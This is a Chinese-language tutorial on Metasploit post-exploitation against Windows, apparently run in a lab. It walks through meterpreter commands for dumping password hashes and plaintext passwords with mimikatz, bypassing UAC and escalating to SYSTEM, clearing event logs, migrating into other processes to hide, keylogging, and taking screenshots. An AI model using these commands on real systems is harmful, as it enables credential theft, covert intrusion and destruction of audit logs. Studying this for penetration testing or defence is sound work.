一、post后渗透模块

 

1、MSF后渗透的起点:

 

其实在拿到meterpreter之后,就正式步入后渗透阶段了,后渗透的第一步就是要做好信息收集,因此就可以在这边直接run一个post模块收集受害机器的信息

 MSF之后渗透提权及信息收集_目标机

可以先输入run post/,然后搓几下tab键,查看都有哪些命令

 MSF之后渗透提权及信息收集_屏幕截图_02

 

 

2、基本命令:

sessions                         //sessions –h 查看帮助

sessions -i <ID值>         //进入会话   -k  杀死会话

background                   //将当前会话放置后台

run                                //执行已有的模块,输入run后按两下tab,列出已有的脚本

info                               //查看已有模块信息

getuid                           //查看权限

getpid                           //获取当前进程的pid

sysinfo                         //查看目标机系统信息

ps                                //查看当前活跃进程    kill <PID值> 杀死进程

idletime                      //查看目标机闲置时间

reboot / shutdown       //重启/关机

shell                           //进入目标机cmd shell

clearav                       //清除windows中的应用程序日志、系统日志、安全日志

getlwd  或者 lpwd       //操作攻击者主机 查看当前目录

lcd /tmp                     //操作攻击者主机 切换目录

 

2、常用的几个post模块命令

run post/windows/gather/hashdump                   //执行后会给出MSF建议的exploit

run post/windows/gather/smart_hashdump        //获取hash值

run post/multi/recon/local_exploit_suggester     //获取hash值

run post/multi/gather/firefox_creds                    //获取火狐密码

run post/multi/gather/ssh_creds                        //收集目标机器上所有用户的.ssh目录的内容。

run post/windows/gather/enum_applications    //列举Windows系统上所有已安装的应用程序。

 

 

二、Windows提权——UAC绕过

 

 

1、UAC的定义:

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

 

 

2、UAC的运作:

一旦程序执行设计系统更改/特定任务就会触发UAC,除非尝试执行他们的进程以管理员权限运行,否则这些操作都将被阻止。二没有管理员权限将无法执行以下操作:

①注册表修改(如果注册表项位于如HKEY_LOCAL_MACHINE下【因为它影响多个用户】,它将是只读的)

②加载设备驱动程序

③DLL注入

④修改系统时间(clock)

⑤修改用户账户控制设置(通过注册表可以启用/禁用它,但你需要正确的权限才能执行该操作)

⑥修改受保护的目录(如Windows文件夹,pragram files)

⑦计划任务(例如,以管理员权限自启动)

 

3、MSF绕过UAC的命令:

  其实直接search bypassuac 或者 search uac看一下就好

 MSF之后渗透提权及信息收集_应用程序_03

  还是列出来吧:

   0   exploit/windows/local/bypassuac

   1   exploit/windows/local/bypassuac_comhijack

   2   exploit/windows/local/bypassuac_dotnet_profiler

   3   exploit/windows/local/bypassuac_eventvwr  

   4   exploit/windows/local/bypassuac_fodhelper  

   5   exploit/windows/local/bypassuac_injection  

   6   exploit/windows/local/bypassuac_injection_winsxs 

   7   exploit/windows/local/bypassuac_sdclt  

   8   exploit/windows/local/bypassuac_silentcleanup 

   9   exploit/windows/local/bypassuac_sluihijack 

   10  exploit/windows/local/bypassuac_vbs    

   11  exploit/windows/local/bypassuac_windows_store_filesys

   12  exploit/windows/local/bypassuac_windows_store_reg 

 

4、具体操作:

先把会话放到后台

 MSF之后渗透提权及信息收集_应用程序_04

 

然后use所要的exploit

 MSF之后渗透提权及信息收集_屏幕截图_05

 

 

这里需要set 刚刚我们放入后台的session。居然失败了?啥情况

 MSF之后渗透提权及信息收集_进程迁移_06

 

可能是我这session的权限已经够高了,但是用法就是这么用的

 MSF之后渗透提权及信息收集_屏幕截图_07

 

 

不行,越想越气,想个办法把它的权限降下来,用migrate -p把会话注入一个低权限的进程中

 MSF之后渗透提权及信息收集_管理员权限_08

 

 MSF之后渗透提权及信息收集_进程迁移_09

Ok,成了

 MSF之后渗透提权及信息收集_目标机_10

 

 

 

三、Windows提权的思路及其他方式

 

 

1、可以先敲getsystem试一试:

  MSF之后渗透提权及信息收集_目标机_11

 

 

2、UAC绕过:

然后再试试绕过UAC,有时候UAC绕过了就不一定需要system权限了,这里就不做演示了,上面有实操过

 

3、使用MSF的漏洞建议模块:

如果还不行,就use post/multi/recon/local_exploit_suggest,该模块可以提出使用哪些本地meterpreter漏洞的建议。所建议的漏洞是基于用户打开shell的架构和平台,以及meterpreter中可用的漏洞。值得注意的是,不是所有的本地漏洞都会被触发。漏洞的选择是基于这些条件:会话类型、平台、架构和所需的默认选项。得出结果后我们可以一个一个尝试这些exploit,由新到旧进行尝试,这条命令执行可能比较慢,耐心等一会

 

 MSF之后渗透提权及信息收集_管理员权限_12

MSF之后渗透提权及信息收集_屏幕截图_13

 

 

4、直接检索提权相关的命令:

  又或者可以search exploit/windows/local ,这里面有很多提权的命令(提权在show option中一般都要填写 session id,可以以此来判断;亦或以描述中是否存在escalation来判断),用的时候最好选择带“ms”的,我这里搜索出88条

MSF之后渗透提权及信息收集_应用程序_14

 

 

 

四、获取明文密码和hash 

 

 

1、前提:

  前提是需要有一个高权限的用户,且目标已经登录(可以注销,但不能关机或重启)

 

2、原理:

  从lsass.exe进程中获取密码

 

3、获取哈希值

  得到高权限的shell后,可以直接输入hashdump

 MSF之后渗透提权及信息收集_管理员权限_15

 

 

  也可以run post/windows/gather/hashdump

 MSF之后渗透提权及信息收集_屏幕截图_16

 

 

4、获取明文密码

  先加载mimikatz,输入load mimikatz

 MSF之后渗透提权及信息收集_屏幕截图_17

 

  再输入wdigest获取明文密码,也可以输入kerberos和msv获取

 MSF之后渗透提权及信息收集_进程迁移_18

 

 

五、MSF进程迁移

 

 

1、进程迁移的目的:

  正常使用exe上线的情况下,如果对方用任务管理器或者直接使用“tasklist”命令就可以看到我们的进程,为了避免这一状况,我们就需要将敏感进程迁移到其他原有的进程上面,相当于寄生。

 

2、手动迁移:

 

先输入ps查看目标机器的进程

 MSF之后渗透提权及信息收集_目标机_19

 

然后使用migrate命令迁移,用法如下:

Usage: migrate <<pid> | -P <pid> | -N <name>> [-t timeout]

 

Migrates the server instance to another process.

NOTE: Any open channels or other dynamic state will be lost.

 

例如:migrate -P 2680 或者 migrate 2680 亦或者 migrate -N conhost.exe

 MSF之后渗透提权及信息收集_屏幕截图_20

 

3、自动迁移:

自动迁移指反弹shell就自动执行进程迁移命令,因此在配置监听器的时候可以设置:

set autorunscript migrate -n explorer.exe     //迁移至指定进程

set autorunscript -f                        //默认迁移到notepad记事本进程

 

 MSF之后渗透提权及信息收集_进程迁移_21

我们尝试迁移到explorer.exe,成了

 MSF之后渗透提权及信息收集_屏幕截图_22

 

 

 

六、MSF键盘记录、屏幕截图、文件操作、load扩展

 

 

其实获取一个session后直接输入help查看命令就可以了

 

1、键盘记录:

keyscan_start   //开启键盘记录

keyscan_dump  //读取键盘记录

 MSF之后渗透提权及信息收集_应用程序_23

 

 

2、屏幕截图

screenshot   //屏幕截图

 MSF之后渗透提权及信息收集_进程迁移_24

 

 

3、文件操作

upload /root/xx.exe c:/xx.exe    //上传本机文件到靶机

 MSF之后渗透提权及信息收集_管理员权限_25

 

download e:/1.txt /root/1.txt     //将目标机器某个文件下载至本机

 MSF之后渗透提权及信息收集_进程迁移_26

 

 

4、load扩展

可以用load -h  或者 load -l    查看一下命令

 MSF之后渗透提权及信息收集_管理员权限_27